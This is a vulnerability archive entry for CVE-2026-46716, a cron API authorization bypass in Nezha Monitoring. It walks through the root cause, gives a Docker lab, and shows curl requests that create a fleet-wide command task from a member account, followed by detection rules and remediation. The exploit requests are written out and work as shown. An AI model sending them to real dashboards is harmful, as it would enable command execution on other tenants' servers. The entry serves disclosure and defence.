PoC Archive PoC Archive
CVE-2026-46716 / GHSA-99gv-2m7h-3hh9 category: web CVSS 9.9 (CRITICAL)
Patched

Nezha Monitoring Cron API Missing Authorization — CVE-2026-46716

Published: 2026-11-27 • Researcher: HAERIN-L (GitHub: HAERIN-L, dalllnim25@gmail.com)

Target software Nezha Monitoring (nezhahq/nezha) — dashboard API and connected agents
Affected versions 1.4.0 through 1.14.14 in the archived lab (vulnerable image v1.14.14). NVD describes the range 1.4.0 to before 2.0.8; the upstream lab treats commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419, as the fix.
Status PoC (working authorization-bypass request; end-to-end command execution on a foreign agent is not demonstrated)
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-46716 / GHSA-99gv-2m7h-3hh9
Category
web
Affected product
Nezha Monitoring (nezhahq/nezha) — dashboard API and connected agents
Affected versions
1.4.0 through 1.14.14 in the archived lab (vulnerable image v1.14.14). NVD describes the range 1.4.0 to before 2.0.8; the upstream lab treats commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419, as the fix.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-05-30 (upstream commit 763b115, “Fix factual errors: patch date, nuclei credentials, detection logic”)
Author / ResearcherHAERIN-L (GitHub: HAERIN-L, dalllnim25@gmail.com)
CVE / AdvisoryCVE-2026-46716 / GHSA-99gv-2m7h-3hh9
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSSv3.1, NVD; vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusPoC (working authorization-bypass request; end-to-end command execution on a foreign agent is not demonstrated)
TagsNezha, monitoring, authorization bypass, missing authorization, cross-tenant, cron, command execution, Go, Docker, CWE-862, CWE-269, CWE-78
RelatedN/A (a different Nezha flaw is archived at pocs/web/2026-07-05_cve-2026-53519-nezha-path-traversal-jwt-forgery/)

Affected Target

FieldValue
Software / SystemNezha Monitoring (nezhahq/nezha) — dashboard API and connected agents
Versions Affected1.4.0 through 1.14.14 in the archived lab (vulnerable image v1.14.14). NVD describes the range 1.4.0 to before 2.0.8; the upstream lab treats commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419, as the fix.
Language / PlatformGo (dashboard), Go agent on monitored hosts; Docker Compose lab on any host
Authentication RequiredYes — any authenticated account, including the lowest RoleMember role
Network Access RequiredYes — HTTP to the dashboard API; at least one connected agent for delivery

Summary

Nezha Monitoring lets any authenticated user, including a low-privilege member, create scheduled cron tasks through the dashboard API. The permission check iterates the submitted server list, so an empty list is accepted without validating ownership, and the scheduler then delivers the task to every connected server in the shared pool. A member can therefore schedule an arbitrary command that runs on other tenants’ servers, with the output routed to a notification group the attacker controls. This repository is a self-contained Docker lab with a trigger script that demonstrates the bypass and a version-based detector.

Vulnerability Details

Root Cause

Two defects combine. First, ServerShared.CheckPermission in service/singleton/singleton.go ranges over the caller-supplied server IDs and returns true when the iterator yields nothing; a request carrying an empty servers array therefore passes the ownership check unconditionally. Second, the pre-patch CronTrigger in service/singleton/crontask.go walked the global ServerShared map and pushed each task to every connected agent whenever the cron used cover CronCoverAll and did not exclude a server, without comparing the cron creator’s user ID to the server owner. The command output was then delivered to the cron’s configured NotificationGroup, which the attacker names. The upstream patch adds cronCanSendToServer, comparing cron.UserID with server.UserID, before dispatch; it does not change the API-level authorization, so the request is still accepted with HTTP 200 on patched builds and only execution behaviour differs.

Attack Vector

A RoleMember logs in to POST /api/v1/login and receives a JWT. The member then sends POST /api/v1/cron with a task of type 0, a scheduler expression, an arbitrary command, an empty servers array and cover set to 1. Because CheckPermission has nothing to iterate it authorizes the request, the cron is stored, and on the next scheduler tick the dashboard sends the command to every agent in the shared pool, including servers owned by the administrator and by other members.

Impact

Arbitrary command execution as the agent service account on every monitored host reachable by the dashboard, crossing tenant boundaries. Because each agent returns command output, the attacker also gains file and data exfiltration through an attacker-chosen webhook. In the lab the command is the benign string echo CVE-2026-46716-CONFIRMED; a real attacker would substitute any shell payload, so the flaw amounts to fleet-wide remote code execution from the lowest privileged account.

Environment / Lab Setup

Output
OS:          Any host with Docker (upstream tested on macOS)
Target:      ghcr.io/nezhahq/nezha:v1.14.14 on localhost:8008 (vulnerable)
Control:     build from commit d7526351cf97 on localhost:8009 (patched)
Attacker:    RoleMember account member / Memberpass123! created by the setup script
Tools:       docker compose, curl, python3, nuclei (optional detector)

Setup Steps

Shell script
1
bash scripts/01-setup.sh

The setup script builds the patched image from the fix commit, waits for the dashboard to answer, logs in as admin, and creates the RoleMember test account. If the user-creation API differs, the script prints instructions for creating the account through the UI.

Proof of Concept

Step-by-Step Reproduction

  1. Start the lab — brings up the vulnerable and patched dashboards.

    Shell script
    1
    
    bash scripts/01-setup.sh
  2. Run the trigger — logs in as the low-privilege member, creates a cron task with an empty server list and cover=1, then reads the reported version on both instances.

    Shell script
    1
    
    bash scripts/03-trigger-cve.sh
  3. Optional detection — the bundled nuclei template confirms the vulnerable version through GET /api/v1/setting (admin credentials required, because the version field is admin-only).

    Shell script
    1
    2
    
    nuclei -duc -t nuclei/CVE-2026-46716.yaml -u http://localhost:8008 \
      -var username=admin -var password=admin
  4. Teardown — stop containers and remove the lab data.

    Shell script
    1
    
    bash scripts/99-teardown.sh

Exploit Code

See scripts/03-trigger-cve.sh (full version; a research-use disclaimer was added at the top of the archived copy) and scripts/01-setup.sh (lab bring-up). The upstream README is preserved as upstream-README.md.

Shell script
1
2
3
4
5
6
7
8
TOKEN=$(curl -s -X POST "$URL/api/v1/login" -H 'Content-Type: application/json' \
  -d '{"username":"member","password":"Memberpass123!"}' | jq -r .data.token)

curl -s -X POST "$URL/api/v1/cron" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"cve-2026-46716-test","task_type":0,"scheduler":"0 0 0 1 1 *",
       "command":"echo CVE-2026-46716-CONFIRMED","servers":[],"cover":1,
       "push_successful":false}'

The upstream trigger uses python3 instead of jq to read the token and prints the verification result; the request body is identical.

Expected Output

Output
--- Vulnerable v1.14.14 (http://localhost:8008) ---
  HTTP 200 — Cron created (id: 1)
  ✓ CheckPermission: servers=[] — no ownership validation performed, request accepted
  Version: 1.14.14
  ⚠  RESULT: CronTrigger delivery bypass PRESENT — VULNERABLE

--- Patched (http://localhost:8009) ---
  HTTP 200 — Cron created (id: 1)
  ✓ ... request accepted
  Version: 1.14.15-...
  ✓  RESULT: CronTrigger delivery bypass patched

Because both builds accept the request, the script’s verdict is version-based; the actual difference appears only when an agent is connected and the scheduler tick fires.

Detection & Indicators of Compromise

Output
POST /api/v1/cron HTTP/1.1  200
{"name":"...","task_type":0,"command":"...","servers":[],"cover":1}

cron rows whose creator is RoleMember and whose cover is CronCoverAll with no servers
notification groups created by the same member shortly before the cron
  • Alert on any POST /api/v1/cron issued with a member-role token.
  • Correlate unexpected command output arriving at a NotificationGroup webhook with cron creation.
  • Inventory dashboards exposed beyond localhost; the API is the attack surface, not the UI.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-46716 Nezha cron authorization bypass"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/api/v1/cron"; content:"\"servers\":[]"; sid:90246716; rev:1;)

Remediation

ActionDetail
PatchUpgrade Nezha to 2.0.8 or later per NVD; the archived lab pins the upstream fix commit d7526351cf97 (2026-05-17), released as v1.14.15-0.20260517022419.
WorkaroundUntil patched, do not grant RoleMember accounts to untrusted users, and restrict dashboard API access to trusted networks.
Config HardeningKeep the dashboard off the public internet, require TLS, review cron tasks and notification groups for cross-tenant delivery, and cap agent egress so command output cannot reach arbitrary webhooks.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/HAERIN-L/POC_CVE-2026-46716 (0 stars, a Docker lab plus a Nuclei template).

Review verdict: ingested. This is a genuine lab reproducer, not a detector or a prose-only advisory: it ships a vulnerable dashboard image pin, a patch-build Dockerfile for differential testing, setup and teardown scripts, and a trigger script that performs the actual authorization bypass by creating a fleet-wide cron task as a RoleMember. The task payload is the benign marker command echo CVE-2026-46716-CONFIRMED, and there is no C2, persistence, evasion, keylogger, miner, stealer or bot content. The bundled Nuclei template is version detection only; it is archived as a detection aid, not as the exploit. Nothing was executed while preparing this entry.

Version note: the upstream lab treats the 2026-05-17 commit as the fix and labels affected versions as ending before v1.14.15-0.20260517022419, while the NVD record in the review batch describes the range 1.4.0 to before 2.0.8. The entry reports both rather than resolving the discrepancy; the vulnerable image actually used in the lab is v1.14.14.

Status justification: the trigger demonstrably reaches the vulnerable code path and the request is accepted, but the repository contains no connected foreign agent and no captured evidence of a command running on another tenant’s server, so the end-to-end execution step is documented rather than shown. That is why the entry is marked PoC rather than Weaponized.

License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. Nezha itself is Apache-2.0, which does not license this lab repository.

Limitations: the lab hardcodes admin/admin and member/Memberpass123! credentials and binds dashboards to localhost ports 8008 and 8009; these must not be reused outside an isolated environment. The patched image build clones Nezha from GitHub and runs go install, so it needs network access and several minutes on first build. Reproduction was not attempted here because the preparation environment does not pull container images; the expected output above is the upstream documentation. The detector requires admin credentials because GET /api/v1/setting hides the version field from members.